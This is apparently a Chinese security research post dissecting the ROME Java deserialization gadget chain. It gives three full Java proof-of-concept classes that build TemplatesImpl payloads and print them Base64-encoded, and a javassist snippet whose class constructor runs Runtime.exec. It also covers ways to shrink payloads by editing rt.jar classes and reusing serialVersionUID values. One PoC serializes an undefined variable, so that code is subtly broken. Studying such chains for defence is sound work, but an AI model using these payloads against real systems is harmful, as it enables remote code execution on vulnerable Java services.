ROME逐步分析
参考: https://blog.csdn.net/weixin_45805993/article/details/121298021
依赖: ROME-1.0.jar
整体流程
TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
ObjectBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)
通过hashMap的put
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
// 跟进hash
int hash = hash(key);
...
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
// 跟进hashCode方法
h ^= k.hashCode();
...
此处调用的是ObjectBean的hashCode方法
public int hashCode() {
return this._equalsBean.beanHashCode();
}
ObjectBean构造方法也提示了
this._equalsBean = new EqualsBean(beanClass, obj);
跟进EqualsBean的beanHashCode方法
public int beanHashCode() {
return this._obj.toString().hashCode();
}
调用ToStringBean的toString方法
public String toString() {
Stack stack = (Stack)PREFIX_TL.get();
String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());
String prefix;
if (tsInfo == null) {
String className = this._obj.getClass().getName();
prefix = className.substring(className.lastIndexOf(".") + 1);
} else {
prefix = tsInfo[0];
tsInfo[1] = prefix;
}
// 跟进private方法
return this.toString(prefix);
}
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
// 获取javax.xml.transform.Templates的getter和setter存入PropertyDescriptor中
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
// 获取的是TemplatesImpl的getOutputProperties方法
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
// invoke调用TemplatesImpl的getOutputProperties方法
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} catch (Exception var8) {
sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
}
关键就是BeanIntrospector.getPropertyDescriptors(_beanClass);
这行代码,它获取类的属性的getter和setter
获取getter/setter的逻辑是,先从
_introspected
这个HashMap中获取(相当于一个缓存),一开始肯定获取不到,所以会调用getPDs方法去获取,获取到之后再缓存到_introspected
中,获取的逻辑比较清晰,和大部分获取java bean的getter/setter的逻辑基本一样:先获取所有方法,然后根据方法名来获取getter和setter,比如getter就是开头是"get"或"is",由于这里不是根据属性名匹配的getter,所以只需要考虑开头就行了,不需要匹配属性名,setter同理。获取到getter的PropertyDescriptor后,建立PropertyName(getter名字去掉get且第四个字符小写)和PropertyDescriptor的映射关系放入HashMap中 假设我们设置的_beanClass是Templates,那么获取到的getter就只有getOutputProperties了。
也就是获取的只是javax.xml.transform.Templates的getter和setter, 而javax.xml.transform.Templates中只有唯一的getOutputProperties方法即可调用到此方法
然后HashMap可替换的类
// Properties
Map properties = new Properties();
properties.put(objectBean, "anything");
// Hashtable
Map hashtable = new Hashtable();
hashtable.put(objectBean, "anything");
然后ToStringBean也可直接用ObjectBean代替, 因为初始化ObjectBean时会自动给this._toStringBean
赋值为ToStringBean对象, 相当于变相调用
POC
package ROME;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import org.apache.commons.codec.binary.Base64;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Map;
import java.util.Properties;
/**
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
**/
public class ROME {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(JDK7u21.Evil.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
ObjectBean objectBean = new ObjectBean(String.class,"ricky");
// Properties
Map properties = new Properties();
properties.put(objectBean, "anything");
// Hashtable
// Map hashtable = new Hashtable();
// hashtable.put(objectBean, "anything");
// HashMap
// Map expMap = new HashMap();
// expMap.put(objectBean,"anything");
// 根据链子推断写法
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
setFieldValue(objectBean,"_equalsBean",equalsBean);
// ysoserial 写法
// ObjectBean evalBean = new ObjectBean(Templates.class, templates);
// setFieldValue(objectBean,"_equalsBean",new EqualsBean(ObjectBean.class, evalBean));
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(properties);
// oos.writeObject(hashtable);
// oos.writeObject(expMap);
oos.close();
System.out.println(URLEncoder.encode(Base64.encodeBase64String(barr.toByteArray())));
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
BadAttributeValueExpException 变式
jdk1.8之后可以通过BadAttributeValueExpException类直接在readObject处触发toString方法, 于是链子也就变得简洁一些
TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
BadAttributeValueExpException.readObject()
POC
package ROME;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import org.apache.commons.codec.binary.Base64;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URLEncoder;
/**
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* BadAttributeValueExpException.readObject()
**/
public class ROME_BadAttributeValueExpException {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(JDK7u21.Evil.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
/*jdk1.8*/
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",toStringBean);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(badAttributeValueExpException);
oos.close();
System.out.println(URLEncoder.encode(Base64.encodeBase64String(barr.toByteArray())));
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
EqualsBean 变式
参考: https://www.yuque.com/jinjinshigekeaigui/qskpi5/cz1um4
equals
方法调用了 beanEquals
方法, 通过Hashtable/HashMap的equals进入, 参考 CC7
POC
package ROME;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import org.apache.commons.codec.binary.Base64;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
public class ROME_EqualsBean {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(JDK7u21.Evil.class.getName()).toBytecode()
});
setFieldValue(templates,"_name","r");
setFieldValue(templates,"_class",null);
// setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
EqualsBean bean = new EqualsBean(String.class,"r");
// HashMap map1 = new HashMap();
// HashMap map2 = new HashMap();
// map1.put("yy",bean);
// map1.put("zZ",templates);
// map2.put("zZ",bean);
// map2.put("yy",templates);
// Hashtable table = new Hashtable();
// table.put(map1,"1");
// table.put(map2,"2");
// 测试后发现可以直接用HashMap.equal
Map hashMap = new HashMap();
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",bean);
map1.put("zZ",templates);
map2.put("zZ",bean);
map2.put("yy",templates);
hashMap.put(map1, "");
hashMap.put(map2, "");
setFieldValue(bean,"_beanClass",Templates.class);
setFieldValue(bean,"_obj",templates);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(table);
oos.close();
System.out.println(Base64.encodeBase64String(baos.toByteArray()));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
}
极致缩短payload
可以参考方法:
字节层面优化
javassist 生成模板而不去用ASM操作
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("r");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make("public r(){Runtime.getRuntime().exec(\"calc.exe\");}", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
- java底层(彻底将原先类多余的继承和规则取消,直接继承Serializable)
- 剔除 TemplatesImpl 部分属性
字节层面优化
参考 4rain 师傅基于ASM实现删除LINENUMBER
,4rain师傅实现了对字节码 LINENUMBER
指令的阻止传递, 极大程度缩短了payload长度。
从java原生类上删减
在前面几种删减的基础上,几乎已经将payload缩小至极致,但是寻求本质, 序列化是将对象的状态信息转换为可存储或传输的形式的过程,当我们需要这个对象时,再从这些⼆进制流中反序列化出对象。所以可以在一些继承关系复杂的类上进行再次缩短的尝试。
来看一个简单的例子
class A extends B{
public String a;
public A(String a){
this.a = a;
}
public void a(){
System.out.println(this.a);
}
private synchronized void writeObject(ObjectOutputStream s)
throws IOException {
s.defaultWriteObject();
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object a = gf.get("a", null);
System.out.println(a);
}
}
class B implements Serializable{
public String b;
public void setB(String b) {
this.b = b;
}
public void b(){
System.out.println(this.b);
}
}
这是一个A为子类,B为父类且A类继承B类的可序列化的规则,那么假设我们只需要A类的属性和方法,不需要B类上的任何属性和方法,能否做到只序列化的A类而不涉及B类?
一般来说,直接通过序列化继承父类的子类,在输出的二进制文件中总是可以找到父类的影子,同时java原生类不可直接进行覆写,假设我们能够覆写上述的A类,我要实现上述的目标我只需要建立如下的A类
class A implements Serializable{
private static final long serialVersionUID = 8884587499101437051L;
public String a;
public A(String a){
this.a = a;
}
public void a(){
System.out.println(this.a);
}
private synchronized void writeObject(ObjectOutputStream s)
throws IOException {
s.defaultWriteObject();
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object a = gf.get("a", null);
System.out.println(a);
}
}
那么我们再次序列化的时候生成的二进制文件就会相较于原先继承B类的A类缩短许多,于是你直接拿着生成的新的二进制文件尝试在原有的关系上进行反序列化, 会发现java爆出如下错误
Exception in thread "main" java.io.InvalidClassException: A; local class incompatible: stream classdesc serialVersionUID = -7257149293589931179, local class serialVersionUID = 8884587499101437051
这里就涉及到 serialVersionUID 的概念。以下为个人理解,详细可参考 为什么serialVersionUID不能随便改
serialVersionUID
虚拟机是否允许反序列化, 不仅取决于类路径和功能代码是否⼀致, ⼀个⾮常重要的⼀点是两个类的序列化 ID 是否⼀致, 即serialVersionUID
要求⼀致。
同时这涉及到了 Serializable 和 Externalizable 接口的问题
类通过实现
java.io.Serializable
接口以启用其序列化功能。未实现此接口的类将无法进行序列化或反序列化。可序列化类的所有子类型本身都是可序列化的。
如果查阅过Serializable
的源码,就会发现,它只是一个空的接口,里面什么东西都没有,Serializable接口没有方法或字段,仅用于标识可序列化的语义。
那么它是怎么保证只有实现了该接口的方法才能进行序列化和反序列化呢?原因是在执行序列化的过程中,在 java.io.ObjectOutputStream#writeObject0 中执行了如下代码
if (obj instanceof String) {
writeString((String) obj, unshared);
} else if (cl.isArray()) {
writeArray(obj, desc, unshared);
} else if (obj instanceof Enum) {
writeEnum((Enum<?>) obj, desc, unshared);
} else if (obj instanceof Serializable) {
writeOrdinaryObject(obj, desc, unshared);
} else {
if (extendedDebugInfo) {
throw new NotSerializableException(
cl.getName() + "\n" + debugInfoStack.toString());
} else {
throw new NotSerializableException(cl.getName());
}
}
在进行序列化操作时,会判断要被序列化的类是否是Enum
、Array
和Serializable
类型,如果都不是则直接抛出NotSerializableException
。 Java中还提供了Externalizable
接口,也可以实现它来提供序列化能力,但是使用时需要开发人员重写writeExternal()
与readExternal()
这两个抽象方法。
自定义的序列化策略
在序列化过程中,如果被序列化的类中定义了writeObject
和 readObject
方法,虚拟机会试图调用对象类里的 writeObject
和 readObject
方法,进行用户自定义的序列化和反序列化。
如果没有这样的方法,则默认调用是 ObjectOutputStream
的 defaultWriteObject
方法以及 ObjectInputStream
的 defaultReadObject
方法。
但是我们可以去找几个java中实现序列化接口的类,可以发现这些类除了实现了Serializable
外,还定义了一个serialVersionUID
java.lang.String
java.util.HashMap
确定serialVersionUID的重要性
谈及之前的报错,我们可以跟进到 javaio.ObjectStreamClass#initNonProxy,其中涉及 serialVersionUID 代码如下
if (model.serializable == osc.serializable &&
!cl.isArray() &&
suid != osc.getSerialVersionUID()) {
throw new InvalidClassException(osc.name,
"local class incompatible: " +
"stream classdesc serialVersionUID = " + suid +
", local class serialVersionUID = " +
osc.getSerialVersionUID());
}
在反序列化过程中,对serialVersionUID
做了比较,如果发现不相等,则直接抛出异常。 深入 getSerialVersionUID 方法
public long getSerialVersionUID() {
// REMIND: synchronize instead of relying on volatile?
if (suid == null) {
suid = AccessController.doPrivileged(
new PrivilegedAction<Long>() {
public Long run() {
return computeDefaultSUID(cl);
}
}
);
}
return suid.longValue();
}
在没有定义serialVersionUID
的时候,会调用computeDefaultSUID
方法,生成一个默认的serialVersionUID
。也就是说java会在反序列化的时候对其 serialVersionUID
做严格的校验。 但是,只要版本号相同,即使更改了序列化属性,对象也可以正确被反序列化回来。
使用默认机制在序列化对象时,不仅会序列化当前对象,还会对该对象引用的其它对象也进行序列化,同样地,这些其它对象引用的另外对象也将被序列化。
当然我还没有足够丰富的经验去直接修改它们之间的交互,但是可以肯定的是我们能够在不修改 serialVersionUID 的情况下尽可能的删减我们不需要的part,让整个序列化变得更简约,生成的二进制数据也就会更简短。
通过serialVersionUID控制兼容性
也就是我们在上述的例子中给继承父类序列化的子类A和自己可单独序列化的A类通过 serialVersionUID 规定一个标准
private static final long serialVersionUID = 8884587499101437051L;
序列化后会发现与原生成的二进制文件在字节数目上没有改变,而是修改了其中几个字节,再次尝试反序列化会发现可以生成这两种不同A类的对象,java自身达到了兼容性,而我们也在此基础上进一步缩短了payload的长度。
自定义java原生类
测试后发现在 BadAttributeValueExpException 继承关系和 TemplatesImpl 属性上稍作文章不会影响这个序列化过程, 尤其是在定义 BadAttributeValueExpException 本身可序列化后大幅度缩短payload长度,采取的方式是通过idea对应版本编译class来修改 jre/lib/rt.jar 中class。
public class BadAttributeValueExpException implements Serializable {
private static final long serialVersionUID = -3105272988410493376L;
private Object val;
...
因为本身在ROME链的调用中我们只需要 javax.management.BadAttributeValueExpException#readObject,而实现此方法只需要 BadAttributeValueExpException 本身继承序列化的接口即可,保证 serialVersionUID 一致即可
在 TemplatesImpl 对象中,Templates接口和 Serailizable接口是反序列化的关键, 而_transletIndex
在整个反序列化的过程不会起到任何作用,此外在 newTransformer 方法中如下是触发恶意类注入的关键语句
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
但是我们只执行 getTransletInstance 方法并且 _tfactory
会在readObject方法中自动赋值
private void readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
is.defaultReadObject();
if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}
_tfactory = new TransformerFactoryImpl();
}
在执行 getTransletInstance 的过程中会完成恶意类的执行,剩下的两个参数 _outputProperties
和 _indentNumber
只需要存在即可,但我们不需要将其写入我们的二进制文件中而是由java版本自己兼容赋值为null和0
这两步综合可以在原先对字节的追求上再缩短45%。